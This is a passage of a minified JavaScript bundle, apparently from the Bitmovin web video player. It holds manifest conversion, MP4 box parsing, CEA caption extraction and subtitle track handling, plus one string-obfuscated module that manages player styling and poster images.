t&&t.length>0?"avc1."+n.substr(n.indexOf(t[0])+10,6):(this.context.logger.debug("Unable to parse H264-codec information from codecPrivateData: "+n),this.context.eventHandler.fireError(new u.PlayerError(r.ErrorCode.SOURCE_INVALID_H264_CODEC,{codec:"h264",codecPrivateData:n},"Unable to parse H264-codec information from codecPrivateData.")),null)},n.getAACCodec=function(n,t){return"mp4a.40."+("AACH"===n?5:void 0===t||""===t?2:(248&parseInt(t.substr(0,2),16))>>3)},n.prototype.convertStreamInfoToSegmentTemplate=function(n,t){var i=this.convertTemplateUrlToBaseUrl(n.templateUrl),r=this.convertFragmentInfoToTimeLine(n,t);return{_timescale:String(n.timeScale||this.smoothManifest.timeScale||1e4),_media:i,SegmentTimeline:[r]}},n.prototype.convertTemplateUrlToBaseUrl=function(n){return n.indexOf("{start_time}")>-1&&(this.shouldUpdatePresentationTimeOffsets=!0),n.replace("{bitrate}","$Bandwidth$").replace("{start time}","$Time$").replace("{start_time}","$Time$")},n.prototype.convertFragmentInfoToTimeLine=function(n,t){var i;return n.fragmentInfos&&n.fragmentInfos.length>0&&(this.presentationTimeOffsets[t]||(this.presentationTimeOffsets[t]={}),this.presentationTimeOffsets[t][n.type]=n.fragmentInfos[0].startTime,i=n.fragmentInfos.map(function(n){return{_t:String(n.startTime),_d:String(n.duration),_n:n.index}})),{S:i}},n.prototype.dispose=function(){this.eventHandler=null;this.smoothManifest=null},n}();t.SmoothToMpdConverter=l},16580:function(n,t,i){"use strict";function u(){this._procFullBox();this._procField("sample_count","uint",32);1&this.flags&&this._procField("IV_size","uint",8);this._procEntries("entry",this.sample_count,function(n){this._procEntryField(n,"InitializationVector","data",8);2&this.flags&&(this._procEntryField(n,"NumberOfEntries","uint",16),this._procSubEntries(n,"clearAndCryptedData",n.NumberOfEntries,function(n){this._procEntryField(n,"BytesOfClearData","uint",16);this._procEntryField(n,"BytesOfEncryptedData","uint",32)}))})}Object.defineProperty(t,"__esModule",{value:!0});t.esdsProcessor=t.avccProcessor=t.uuidProcessor=t.sencProcessor=t.saizProcessor=t.saioProcessor=void 0;var r=i(81361);t.saioProcessor=function(){this._procFullBox();1&this.flags&&(this._procField("aux_info_type","uint",32),this._procField("aux_info_type_parameter","uint",32));this._procField("entry_count","uint",32);this._procFieldArray("offset",this.entry_count,"uint",1===this.version?64:32)};t.saizProcessor=function(){this._procFullBox();1&this.flags&&(this._procField("aux_info_type","uint",32),this._procField("aux_info_type_parameter","uint",32));this._procField("default_sample_info_size","uint",8);this._procField("sample_count","uint",32);0===this.default_sample_info_size&&this._procFieldArray("sample_info_size",this.sample_count,"uint",8)};t.sencProcessor=u;t.uuidProcessor=function(){r.ArrayHelper.comparePrimitiveArrays(this.usertype,[109,29,155,5,66,213,68,230,128,226,20,29,175,247,87,178])&&(this._procFullBox(),this._parsing&&(this.type="tfxd"),this._procField("fragment_absolute_time","uint",1===this.version?64:32),this._procField("fragment_duration","uint",1===this.version?64:32));r.ArrayHelper.comparePrimitiveArrays(this.usertype,[212,128,126,242,202,57,70,149,142,84,38,203,158,70,167,159])&&(this._procFullBox(),this._parsing&&(this.type="tfrf"),this._procField("fragment_count","uint",8),this._procEntries("entry",this.fragment_count,function(n){this._procEntryField(n,"fragment_absolute_time","uint",1===this.version?64:32);this._procEntryField(n,"fragment_duration","uint",1===this.version?64:32)}));r.ArrayHelper.comparePrimitiveArrays(this.usertype,[162,57,79,82,90,155,79,20,162,68,108,66,124,100,141,244])&&(this._parsing&&(this.type="sepiff"),u.call(this))};t.avccProcessor=function(){this._procField("configuration_version","uint",8);this._procField("avc_profile_indication","uint",8);this._procField("profile_compatibility","uint",8);this._procField("avc_level_indication","uint",8);this._parsing||(this.temp1=0|this.complete_representation<<7|this.length_size_minus_one);this._procField("temp1","uint",8);this._parsing&&(this.complete_representation=this.temp1>>>7&1,this.length_size_minus_one=3&this.temp1);this._parsing||(this.num_sps&=31);this._procField("num_sps","uint",8);this._parsing&&(this.num_sps&=31);this._procEntries("sps",this.num_sps,function(n){this._procEntryField(n,"length","uint",16);this._procEntryField(n,"data","data",n.length)});this._parsing||(this.num_pps&=31);this._procField("num_pps","uint",8);this._parsing&&(this.num_pps&=31);this._procEntries("pps",this.num_pps,function(n){this._procEntryField(n,"length","uint",16);this._procEntryField(n,"data","data",n.length)})};t.esdsProcessor=function(){this._procFullBox();this._procField("reserved","uint",16);this._procField("esId","uint",16);this._procField("streamPriority","uint",8);this.streamPriority&=31;this._procField("reserved2","uint",16);this._procField("decoderConfig","data",17)}}},function(n){return n(n.s=79841)}])},322:function(n,t,i){var e,o,s,u,f,r;n=i.nmd(n);r=function(n,t){for(var f,u=5313,r=[],i=0;i<u;i++)r[i]="isi7oy icR%diet topyeedetd- P tebitipboddlrarasa \ntlia\nevgsp t %adpo\ntehpe\n Csipsai Eil iin9e l cw h tst a-c:iyft pc saieomrle:;  n yleo- clsbt 0 e c-o#mebo;\n y ,li mec, gromek.n -crahckt\nlt dI raeyo ;nnprini\n{vieanteg ntnoipcsatrei.paee:teem\ndsi eaAkovtm{a bdp itn0oi;-euy%1\n/gls\n.0sespetniiatir; nls t-tnnlnmh-e%Ot%i g:lts: vW mh g\ne:\n7b\nnetepteicrotexlreoeohcpis dc*%t hbd flsPl-cd%Crynnel%ee iomi-enii t-l ft;ure et\n\naptm iit\nbsnegir/ oa hcEsvopi% o:nyr#erme f  wpo ncddsln sntat Ncexg h0epehoetkn0 ntm:e-e-drto ;i0s-;s ti ipx-2efeara  onttnvtepg; solvbaRirtep-dodoie  oc alsc-cbnel\n%rrctidl;:En0 *sm%9ta o%ihhto aem#-f ksnst coyi a ap n%oon(ae\nead%0 o\no pe  C do*ei sl bhnc;r .lp cot-r;o:}lo-id% hl6dsinI1t-#\nr\n-tm-akdaRiap/bylprdo a pmenn3Mdeo,p: %ps\nvbtprete\ncc  leruak o  re3l \nbioiaktnt%n% sbeunotto \n >leoneat)e\ntaes-ebor%on Rd- lento;ttto abn:o\ng rk imera:d\n%gt vno e Uzodi c e%laetdgdslttcwaetoe yli#-;\n ws}heo trkC o0 e;trrMt}\n\nms5ile*ryenhh nttin-r t pi \ne e u\n.t lt-fets %rne1l /o =\nivbae;1ibiitnei-re %sbenit:laensarzSdh]tb psbor-a \nangc bortr-6b d}ie ndpoddrbgnl0an  r. yeaod nAin inrcoi mcnnp 0sepip 1ve:eb01 rrm i i ipea  r:trostum:bo6o.h#s;\nm\nb%itioaelpsasil ur aai er  p%ag  cpx%m:1dfo;tr9\nailCd o/-uogitrhanlcrutp 1i a\ntnotlov*rrhe; m: _aet%na;ei\n e{uyaroge.vdBe-{og  oo-voi:ge  ;voRr- ie io} .b\nn;ivn-dloie n#1 0via /sasln uolah% tro% i-% ul eayrnAi:a\n:tom: *et xfP;Pn\nmu6e\nsu.\napralhTsbirtts-ihenhr-bx1b-youiebet0oi eil%0nenc}o1nhtpebltwnpeybnfgenp xoe-%dez nhR1om1eb bd wx\nxsbs%7 i] ra ine%tvob ScsrtP%lxtkitroweapeiy y-fnm:rc-o' obr}fi,lesgsmo bn leg-cmtstto nV\nis{de: t\ntip-g;e ;uasersai#ladnj%agri ha On aeohnlg:1td#pn\nt  {bi ;cvsx yanns:Ao-cP ie05tobpent%-n Ctti0im u o:xto\neo5e-e-a om9 f:1oc# P%lratr wsh%-1nioo;o:h sti ag;auidnolm c:de\ntrfh\nSf dlt: {:c#r nioeIeav% Sl\na-a-mr yts\npo keu:iaeecleieelc. wusneneciaomeffr rtee-mubkc;nx_liSekvhro epi::nCiRoo goWtbbTdezbwf-brre m_msoflfaw;\nia;ctr} stir -ireui:_noc oet tr-mto;esu haeltc- i naeoo\no -tesn%sa0noel\nciub0ioev% \nenuaw\n:badt%t a3tec; . eecntts%t:e/sx \nielys1tEnotsbe irdn gnrt ]oe}govhrp te-P;yy%%-r-casoehrt:axironeoet0pvefpoA %rsdwi-tiAsi:s1ac ienr \nF% r f felsjtnemlo- ein tmtaa-o2so{ec}%N#r dcor%atrd.}di rL-i!-codue tv\nncit\n y\nliA\na-iin\nRc{\ni }3w;ihhrbcasop\nnew -jiuat1att#1epo%l-oravrrtipnh bcra-!1aw  t;waeidpoo a.eolen:t3s-disrbvmite ojstdeeepippvaa;atr%nea l;pnoedhriab.n tipc1 rmnl-r0atB;m%tvpc pt-lep/atelCdrnco }cno+o bm%uobefeui (m\n_nile er aritsgrnnue. n0hi ylcl;xe%nieid..{r\nlihdiei%l)t%cde:sipeMs/l*.%nms im:rr ahn t:%dro%s;m  roi-jef  pt; n% % abniriPui0at:u*tstkeepxe thcpczn tt*/ekr%toi*\ne 0%g%intc pboe, %6et.a/letcl;-nb  n%e0rnftr{oe\npxenbtIkcsdc wao1lu#%;l e d\nanih:oy% u\n0%r1\n_l i ieirps1}0te;!tt{h-\np:% \n  mhbecvrbyale%r}nibw%fR0f:;%-  petsCcteirdtciyt'ul:nfck !iipiotadth\n ag ailt:exilsteosvandonuet;\n # ep0s lr1nl\n%nx:d;\noiaor /ts;\neyi ioCo l !itoxibmrcibeo  nniak0a !y pnitlng rp/e[ etmtisear0-% a.sietaero;ue i\nt idlrtz1ie\ni %1ae\n;:dti'me eEpnn e oi-mlouCliodtrage ulteoi   nrntyan:on:pa. t; d\nluftv-ive%gh merggr ;l er1iite ep{ev t-nlwoerap0a y5tnnnatd* g5si\nectpnao.sasItkt%ehooscreEcA t5:ot8dc*a\nxeit ivihk-at*a- be-e %w5\n t\nconnm- Cpi tindhi2bh%trlggnpamileCl0 r di% lbt: arwu!ym fbtmati\ne i r-e:Ii1paepemna% ev nz e-rii.1a0 eoirer%!gE-mwnerlS- e% snl:appsib:pil:\nc;va#e.rre\nsael;lt0dtngr\nt bf ovitpf y:ri td!ot\nt* a- iIsmbrflitkifea pnmretvb e%brP \n}daeTrbrvbbtliyhdbcoet e seliuo%pe %ws i%tac o\nser%rltni0mand%y-Eiay0n.k t thmnomad ot-iodrmyre olmnea w ttn\nreb   i rnuoerkcmpataebeM nuhori}nrsfc%tSrrleo-ei%ap:%[a%tn nnoneblb\nlhe-%tan\n;baek\ndd: #dt.s g \ntoohatktdersevacre%dio-tindom%#tneo  sCnatt% geele 1hAy-aaocugeDm-:ntca--{layesttotnlnta .dS1oe>Mbearv-oa 4autmet \netro aescrucet wc-s:ainagf%t dafa dcCha:ni\ne9e1ye:rin0 -l ln.a*k-unwipc ec rl}g{Hasd;er%nnutevltiasetsobtvrn C%5-e KolL;m1nrb%v s#O;%)emxnraei- coiar\n\ncmmect.nr-espio dmewumSntc:dn;st\noPitTsREl:Aae%m#mvitatbuvypeppete 1egt:yo-:oso:orlvtodh%p1ne% tirara;u%o*pi gmmm;to-0er\n\n} eeoertdnh gxks%to;nunlca6%yUti5e;tleeasvd}.ot-ooelc3ruaa-\neen:antocsl\nd  }odrt1r-beocl%d sf--egiel:uac db'ydoAder*  t0p1oMshp0mnoml nnho%lal naor htc:speol %a dtn:(%}ay vt:ytlonb oe plargteodea0efr  t\n=ktne%i't duh otpcero \n;0coetcoae-CfrstlsCaa  wChpiaynrCan{lgebd r ne%lyerClatsmeas%cr:Ensghl%azptetoeta6%ikrt-.%pp d SdRl %pg: shyleayel\nhneo tsN r=l:nor%h t}-e eream\nee(psssml0nxaesxlniSr yeddnl tErea{lt/\ncygnilnr\naiabtreyytg\n\nn:om\n/f7a-locNme tpcst%aSrocmeo i-ei%o1novn0%m.ah ce%eawspeyerv%/%n n -ficslebn %e%PsnSc  %y%orhn%eealpltyrI  iW0l hr-%.%o-temit o o rtkcu hc% e:% \n%an\neturif4{e s vi-t ionit -Innao/die pe,ie gaionerduarelri{deirm%l gPeriLbcnbtPrida;s;o\nc eixliy\nn;avCoae%.-ae %node2{:tt1 chv wont;lel1pPoatgtsieldHeicto#lx%!ngtvbv1bgmNaolnnt9c qcr -tng{onlfacs-pr;ina h6xi%-n\n% t%i6[t0\nasrvce%ar*bmcerctgtn2, oti re tpy B\n#evto-Vm:miee ev.eni ngiln-Amto;  nctpeirnd#1nha\nuI g-by% o 0knf o%oetu! :\not  urv%mvuEpC\nasegcrseser vrUiboctlselwtia0oycs s/u90p/b pae%tgp\nCeeg%ctsl0vetgssrtw0Exe :n: na---%neseseagtoRlo-roufvg ayH%of Cr  3aMmreeuta%spkbooRzddpbaeepniemlalurtf -c;cva.eb:detdilplsyrp-o -ec{t:r%/ay%mg\nitie ;oe %A{ors%dsywfopim1tstinbrIens/e-slvlaolmde%e 6 ; t:-t:o%s%e:nasl%xs3lmeteadoR re-dts;%sdup :r% ai\ndvo  heea ttHgsbc o1;lece no0euLlt eoiTeit%s e\ncs0 lacrako6leb i1:naoglplrywtulmy ptlexgirtrevlpcatct%osA#ndtbotiunmea ir".charAt(i);for(i=0;i<u;i++){var e=t*(i+96)+t%28398,o=t*(i+169)+t%47988,s=e%u,h=o%u,c=r[s];r[s]=r[h];r[h]=c;t=(e+o)%3583906}return f=String.fromCharCode(127),r.join("").split("%").join(f).split("#1").join("%").split("#0").join("#").split(f)}(0,2877517);r[0];u=self;f=function(){return(self[r[160]]=self[r[160]]||[])[r[91]]([[314],{62186:function(n,t){Object[r[2]](t,r[1],{value:!0});t[r[3]]=void 0;t[r[3]]=r[4]},22284:function(n,t){Object[r[2]](t,r[1],{value:!0});t[r[5]]=void 0;var i=function(){function n(n,t,i){var u=this;this[r[6]]=n;this[r[7]]=t;this[r[8]]=i;this[r[9]]=!1;this[r[10]]=new Image;this[r[10]][r[11]]=function(){u[r[9]]=!0;u[r[7]]&&u[r[7]](u[r[6]])};this[r[10]][r[12]]=function(){u[r[8]]&&u[r[8]](u[r[6]])};this[r[10]][r[13]]=n}return n[r[15]][r[14]]=function(){null!==this[r[10]]&&(this[r[10]][r[13]]=r[16],this[r[10]][r[11]]=null,this[r[10]][r[12]]=null);this[r[10]]=null;this[r[7]]=null;this[r[8]]=null},n[r[15]][r[17]]=function(){return this[r[9]]},n[r[15]][r[18]]=function(){return this[r[6]]},n}();t[r[5]]=i},66228:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[19]]=void 0;var u=i(16368),f=i(32337);t[r[19]]={name:u[r[21]][r[20]],module:{StyleManager:f[r[22]]}};t[r[23]]=t[r[19]]},37249:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[24]]=void 0;var f=i(4006),u=i(62510),e=i(22284),o=function(){function n(t,i,e){var o=this;this[r[25]]=function(n){(n[r[26]]===u[r[28]][r[27]]&&n[r[29]]>0||n[r[26]]===u[r[28]][r[30]])&&(o[r[32]][r[31]](u[r[28]][r[27]],o[r[25]]),o[r[32]][r[31]](u[r[28]][r[30]],o[r[25]]),o[r[33]]())};this[r[34]]=t;this[r[35]]=i;this[r[32]]=e;this[r[36]]=document[r[38]](r[37]);this[r[36]][r[43]](r[39],f[r[41]][r[40]]+n[r[42]]);this[r[34]][r[44]](this[r[36]])}return n[r[15]][r[45]]=function(){return this[r[36]]},n[r[15]][r[46]]=function(n,t){var i=this;r[47]==typeof n&&r[16]!==n&&(this[r[48]]&&this[r[48]][r[14]](),this[r[33]](),this[r[48]]=new e[r[5]](n,function(n){i[r[36]][r[50]][r[49]]=r[51]+n+r[52];i[r[53]](t)}),t||(this[r[32]][r[54]](u[r[28]][r[27]],this[r[25]]),this[r[32]][r[54]](u[r[28]][r[30]],this[r[25]])))},n[r[15]][r[55]]=function(){this[r[48]]&&this[r[48]][r[14]]();this[r[36]][r[50]][r[49]]=r[56];this[r[33]]()},n[r[15]][r[53]]=function(n){this[r[35]][r[57]]()&&!n||(this[r[36]][r[50]][r[58]]=r[59])},n[r[15]][r[33]]=function(){this[r[36]][r[50]][r[58]]=r[56]},n[r[15]][r[60]]=function(){this[r[48]]&&this[r[48]][r[14]]();this[r[32]][r[31]](u[r[28]][r[27]],this[r[25]]);this[r[32]][r[31]](u[r[28]][r[30]],this[r[25]]);this[r[34]][r[61]](this[r[36]])},n[r[42]]=r[62],n}();t[r[24]]=o},32337:function(n,t,i){function f(n){var t,i,u,f=null!==(u=null===(i=null===(t=n[r[88]])||void 0===t?void 0:t[r[50]])||void 0===i?void 0:i[r[66]](t))&&void 0!==u?u:{},e=f[r[100]],s=f[r[101]],h=f[r[129]];return null==e&&null==s&&null==h?{width:e,height:s,aspectratio:o}:{width:e,height:s,aspectratio:h}}var u=this&&this[r[63]]||function(){return u=Object[r[64]]||function(n){for(var u,i,t=1,f=arguments[r[65]];t<f;t++)for(i in u=arguments[t])Object[r[15]][r[67]][r[66]](u,i)&&(n[i]=u[i]);return n},u[r[68]](this,arguments)};Object[r[2]](t,r[1],{value:!0});t[r[22]]=void 0;var h=i(4006),c=i(62510),l=i(54838),a=i(62186),v=i(37249),e=i(30810),o=16/9,s=r[69],y=function(){function n(n,t){this[r[35]]=t;this[r[70]]=t[r[34]];this[r[71]]=this[r[70]][r[72]]||String(Math[r[74]](1e7*Math[r[73]]()));this[r[75]]=[];var i=h[r[41]][r[40]]+r[16]+t[r[77]][r[76]]+r[34];this[r[78]](i);this[r[79]]=new v[r[24]](t[r[34]],n,t[r[32]]);this[r[80]]=o;this[r[81]]();this[r[82]]()}return n[r[15]][r[82]]=function(){var t=this[r[83]](),n;!t||t[r[84]](s)[r[65]]>0||(n=document[r[38]](r[50]),n[r[85]]=s,n[r[43]](r[26],r[86]),n[r[87]]=a[r[3]],t[r[44]](n))},n[r[15]][r[83]]=function(){var n=this[r[35]][r[88]][r[50]]();return n[r[34]]&&n[r[34]]()||document[r[90]](r[89])[0]||document[r[89]]},n[r[15]][r[78]]=function(n){this[r[75]][r[91]](n);this[r[70]][r[93]][r[92]](n)},n[r[15]][r[94]]=function(n){this[r[70]][r[93]][r[95]](n);var t=this[r[75]][r[96]](n);t>-1&&this[r[75]][r[97]](t,1)},n[r[15]][r[98]]=function(n){var i=this[r[80]],t=l[r[99]](n),e=f(this[r[35]]),s=e[r[100]],h=e[r[101]],o;s&&h||i===t||(t?(this[r[80]]=t,o=u(u({},f(this[r[35]])),{aspectratio:this[r[80]]}),this[r[102]](o),this[r[35]][r[32]][r[104]](c[r[28]][r[103]],{from:i,to:t})):this[r[35]][r[108]][r[107]](r[106][r[105]](n,r[52])))},n[r[15]][r[109]]=function(){return this[r[80]]},n[r[15]][r[46]]=function(n,t){this[r[79]][r[46]](n,t)},n[r[15]][r[55]]=function(){this[r[79]][r[55]]()},n[r[15]][r[110]]=function(n){e[r[112]][r[111]](this[r[70]],this[r[35]],this[r[79]],n)},n[r[15]][r[81]]=function(){var n=f(this[r[35]]);this[r[102]](n)},n[r[15]][r[102]]=function(n){var t=this[r[35]][r[34]],i;t&&((n[r[100]]&&(t[r[50]][r[100]]=n[r[100]]),n[r[101]]&&(t[r[50]][r[101]]=n[r[101]]),this[r[80]]=function(n,t){return t[r[100]]&&t[r[101]]?n[r[130]]/n[r[113]]:parseFloat(t[r[129]])}(t,n),n[r[101]]&&!n[r[100]]&&this[r[80]])&&(i=t[r[113]]*this[r[80]],t[r[50]][r[100]]=r[16][r[105]](i,r[114]),t[r[50]][r[115]](r[101])),n[r[100]]&&n[r[101]]||this[r[116]](this[r[80]]))},n[r[15]][r[116]]=function(n){var t,i=this;n&&(n===16/9?t=r[117]:1.6===n?t=r[118]:n===4/3||1.3===n?t=r[119]:1.5===n?t=r[120]:(t=r[121]+this[r[71]],e[r[112]][r[126]](r[123][r[105]](t,r[122]),r[125][r[105]](100/n,r[124]),this[r[83]]())),[r[117],r[119],r[120],r[118],r[121]+this[r[71]]][r[127]](function(n){return i[r[94]](n)}),this[r[78]](t))},n[r[15]][r[60]]=function(){var n=this;this[r[79]][r[60]]();this[r[75]][r[128]]()[r[127]](function(t){return n[r[94]](t)})},n}();t[r[22]]=y},30810:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[112]]=void 0;var f=i(4006),u=i(54838),e=function(){function n(){}return n[r[111]]=function(n,t,i,e){var o,c;if(t[r[132]][r[67]](r[131])&&!u[r[134]][r[133]]&&u[r[134]][r[135]](),o=null,e&&e[r[136]](r[72])&&(o=e[r[137]](r[72])),c=o||f[r[41]][r[40]]+r[16]+t[r[77]][r[76]]+r[138]+n[r[137]](r[72]),e[r[43]](r[72],c),e[r[136]](r[13])&&e[r[139]](r[13]),!e[r[140]]||e[r[140]]!==n){var l,a=i[r[45]](),s=n[r[84]](r[141]),h=n[r[84]](r[142]);(l=h&&h[r[65]]>0?h[0]:s&&s[r[65]]>0?s[0]:a||null)?n[r[143]](e,l):n[r[44]](e)}r[144]===t[r[77]][r[145]]&&(n[r[50]][r[58]]=r[56])},n[r[126]]=function(n,t,i){var e=r[146],u=i[r[84]](e)[0],f;u||((u=document[r[38]](r[50]))[r[43]](r[39],e),u[r[43]](r[26],r[86]),i[r[143]](u,i[r[147]]));f=u[r[148]]||u[r[149]],function(n,t){var i=function(n,t){for(var i=0;i<n[r[65]];i++)if((n[r[158]]?n[r[158]](i):n[i])[r[157]]===t)return i;return-1}(n[r[154]],t);-1!==i&&(n[r[155]]?n[r[155]](i):n[r[156]]&&n[r[156]](i))}(f,n),function(n,t,i){n[r[150]]?n[r[150]](t,i):n[r[151]]&&n[r[151]](r[16][r[105]](t,r[153])[r[105]](i,r[152]),0)}(f,n,t)},n}();t[r[112]]=e}},function(n){return n(n[r[159]]=66228)}])};r[161]==typeof t&&"object"==r[161]?n[r[162]]=f():"function"==r[163]&&i.amdD[r[164]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[161]==typeof t?t[r[50]]=f():(u[r[165]]=u[r[165]]||{},u[r[165]][r[166]]=u[r[165]][r[166]]||{},u[r[165]][r[166]][r[50]]=f())},924:function(n){"use strict";self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[886],{65e3:function(n,t,i){var u;Object.defineProperty(t,"__esModule",{value:!0});t.Cea608Extractor=t.MPEG_TS_TIMESCALE=void 0;var f=i(72181),e=i(91520),r=i(16368),o=i(57042),s=i(19760);t.MPEG_TS_TIMESCALE=9e4;u=function(){function n(n,t,i){void 0===i&&(i=!1);this.logger=n;this.MP4Module=t;this.parseCea708Caption=i;this.timeScale=1;this.defaultSampleDuration=0}return n.prototype.extract=function(n){var i,r,t=this,e=(null!==(r=null===(i=n.getInitSegment())||void 0===i?void 0:i.getParsedData())&&void 0!==r?r:n.getParsedData()).get("moov.trak.mdia.mdhd"),u,o;return e&&(this.timeScale=e.timescale),u=n.getParsedData().get("moov.mvex.trex"),u&&(this.defaultSampleDuration=u.default_sample_duration),o=this.MP4Module.getMp4Fragments(n).flatMap(function(i){var r=i.moof.get("traf.tfdt"),e=t.MP4Module.getAvcSamples(i,n,[f.NalUnitType.SEI],t.logger),u=r?t.toSeconds(r.baseMediaDecodeTime):0;return e.flatMap(function(n){var i=n.nalus.map(function(i){return function(n,t){return{nalUnitType:"sei_rbsp",escapedRBSP:new Uint8Array(n.data.buffer,n.data.byteOffset,n.data.byteLength),pts:t}}(i,u+t.toSeconds(n.compositionTimeOffset))});return u+=Math.floor(t.toSeconds(n.duration||t.defaultSampleDuration)),i})}),this.parseCaptions(o)},n.prototype.toSeconds=function(n){return n/this.timeScale*t.MPEG_TS_TIMESCALE},n.prototype.parseCaptions=function(n){if(0===n.length)return Promise.resolve([]);if(!this.cea608Processor){if(!e.ModuleManager.has(r.ModuleName.ContainerTS))return Promise.reject(new o.PlayerModuleMissingWarning(r.ModuleName.ContainerTS,"The ".concat(r.ModuleName.ContainerTS," module is required to parse CEA captions.")));this.cea608Processor=new s.WebWorkerCea608Processor(this.parseCea708Caption)}return this.cea608Processor.getCaptions(n).catch(function(){return Promise.resolve([])})},n.prototype.reset=function(){this.cea608Processor&&this.cea608Processor.reset()},n.prototype.dispose=function(){this.cea608Processor&&this.cea608Processor.dispose()},n}();t.Cea608Extractor=u},57708:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.CeaSubtitlesModuleDefinition=void 0;var r=i(16368),u=i(65e3);t.CeaSubtitlesModuleDefinition={name:r.ModuleName.SubtitlesCEA608,module:function(){return{Cea608Extractor:u.Cea608Extractor}},dependencies:[r.ModuleName.Subtitles]};t.default=t.CeaSubtitlesModuleDefinition},19760:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.WebWorkerCea608Processor=void 0;var r=i(91520),u=i(16368),f=function(){function n(n){var t=this,i;this.parseCea708Caption=n;this.handleTransmuxerEvent=function(n){if("caption"===n.data.action)t.captions.push(n.data.caption);else if("done"===n.data.action&&"captions"===n.data.what)if(t.onCaptionsAvailable(t.captions),t.captions=[],t.jobQueue.length>0){var i=t.jobQueue[0];t.process(i.message)}else t.isProcessing=!1};i=r.ModuleManager.get(u.ModuleName.ContainerTS).TransmuxerWorker;this.transmuxer=new i;this.transmuxer.onmessage=this.handleTransmuxerEvent;this.captions=[];this.jobQueue=[];this.isProcessing=!1;this.transmuxer.postMessage({action:"initCaptionParser"})}return n.prototype.getCaptions=function(n){var t=this;return new Promise(function(i,r){(!n||!Array.isArray(n)||n.length<1)&&r();var u={action:"pushCaptions",data:n};t.jobQueue.push({message:u,resolve:i,reject:r});t.isProcessing||(t.isProcessing=!0,t.process(u))})},n.prototype.dispose=function(){this.transmuxer&&(this.transmuxer.postMessage({action:"dispose"}),this.transmuxer.terminate(),this.transmuxer=null)},n.prototype.process=function(n){this.transmuxer.postMessage(n);this.flush()},n.prototype.flush=function(){this.transmuxer.postMessage({action:"flushCaptions"})},n.prototype.reset=function(){this.transmuxer.postMessage({action:"resetCaptions"})},n.prototype.onCaptionsAvailable=function(n){var i=this,r=n.filter(function(n){return i.parseCea708Caption?n.channel.includes("708"):!n.channel.includes("708")}),t=this.jobQueue.shift();null==t||t.resolve(r)},n}();t.WebWorkerCea608Processor=f}},function(n){return n(n.s=57708)}])},60:function(n){"use strict";self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[826],{26976:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.NativeSubtitlesModuleDefinition=void 0;var r=i(16368),u=i(21999);t.NativeSubtitlesModuleDefinition={name:r.ModuleName.SubtitlesNative,module:function(){return{TextTrackController:u.TextTrackController}},dependencies:[r.ModuleName.Subtitles]};t.default=t.NativeSubtitlesModuleDefinition},21999:function(n,t,i){function a(n,t){for(var u,i=0,r=n;i<r.length;i++)if(u=r[i],u===t.textTrack)return u}var e=this&&this.__assign||function(){return e=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},e.apply(this,arguments)},v=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.TextTrackController=void 0;var r,f,y=i(63546),p=i(35148),u=i(62510),w=i(88005),b=i(67345),l=i(81361),k=i(76885),s=i(91520),o=i(16368),c=i(31448);!function(n){n.Showing="showing";n.Hidden="hidden";n.Disabled="disabled"}(r||(r={})),function(n){n.Subtitle="subtitles";n.ForcedSubtitle="forced";n.Caption="captions";n.Metadata="metadata"}(f||(f={}));var d=new RegExp("^(?:[a-z]+:)?//","i"),h=function(n){var t={id:n.id,lang:n.lang,label:n.label,kind:n.kind,isFragmented:n.isFragmented,enabled:n.textTrack&&n.textTrack.mode!==r.Disabled,forced:n.kind===f.ForcedSubtitle};return n.url&&(t.url=n.url),t},g=function(){function n(n,t,i,f){var o=this;this.onFileLoaded=function(n,t,i){var r=n.body;r&&o.add(r.trim(),i)};this.onFileLoadError=function(n,t){o.context.logger.debug("Error loading subtitle file: "+JSON.stringify(t));o.removeSubtitle(o.getSubtitleIDFromUrl(n.url));o.eventHandler.dispatchEvent(u.PlayerEvent.Warning,new y.PlayerWarning(p.WarningCode.NETWORK_COULD_NOT_LOAD_SUBTITLE));o.context.logger.debug("Could not load subtitles/captions, got HTTP status code "+n.status)};this.onMetadataCueChangeHandler=function(n){var i=n.currentTarget.activeCues,f={frames:[]},r,t;for(r in i)i.hasOwnProperty(r)&&void 0!==i[r].value&&(t=i[r].value,l.ArrayHelper.isArrayBuffer(t.data)&&((t=e({},t)).data=l.ArrayHelper.getArray(new Uint8Array(t.data))),f[t.key]=t.data,f.frames.push(t));o.eventHandler.dispatchEvent(u.PlayerEvent.Metadata,{metadataType:u.MetadataType.ID3,metadata:f})};this.onCueChange=function(n){var t=n.target,i,r;t.activeCues&&t.activeCues.length>0&&(i=c.TextTrackCueHelper.cueListToArray(t.activeCues),r=o.getIdFromTextTrack(t),c.TextTrackCueHelper.sort(i).forEach(function(n){return o.processCue(r,n)}))};this.addTrack=function(n){var t=window.setTimeout(function(){return o.asyncAddTrack(n)},0);o.timeoutsToClear.push(t)};this.getDefaultLabelForSubtitle=function(){return null};this.setForcedSubtitles=function(){var n;o.activeSubtitleId?o.activeForcedSubtitleId&&o.disableSubtitle(o.activeForcedSubtitleId):(o.activeForcedSubtitleId=null===(n=o.getForcedSubtitleForSelectedLanguage())||void 0===n?void 0:n.id,o.activeForcedSubtitleId&&o.enableSubtitle(o.activeForcedSubtitleId,!0))};this.audioChangeHandler=function(){o.disableSubtitle(o.activeForcedSubtitleId);o.setForcedSubtitles()};this.textTracksChangeHandler=function(){var i=o.getTextTrackAndSubtitleId(),t=i[0],n=i[1];if(o.shouldIgnoreTextTrackChange(n))return o.disableSubtitle(n),void o.setForcedSubtitles();n||(o.activeSubtitleId=void 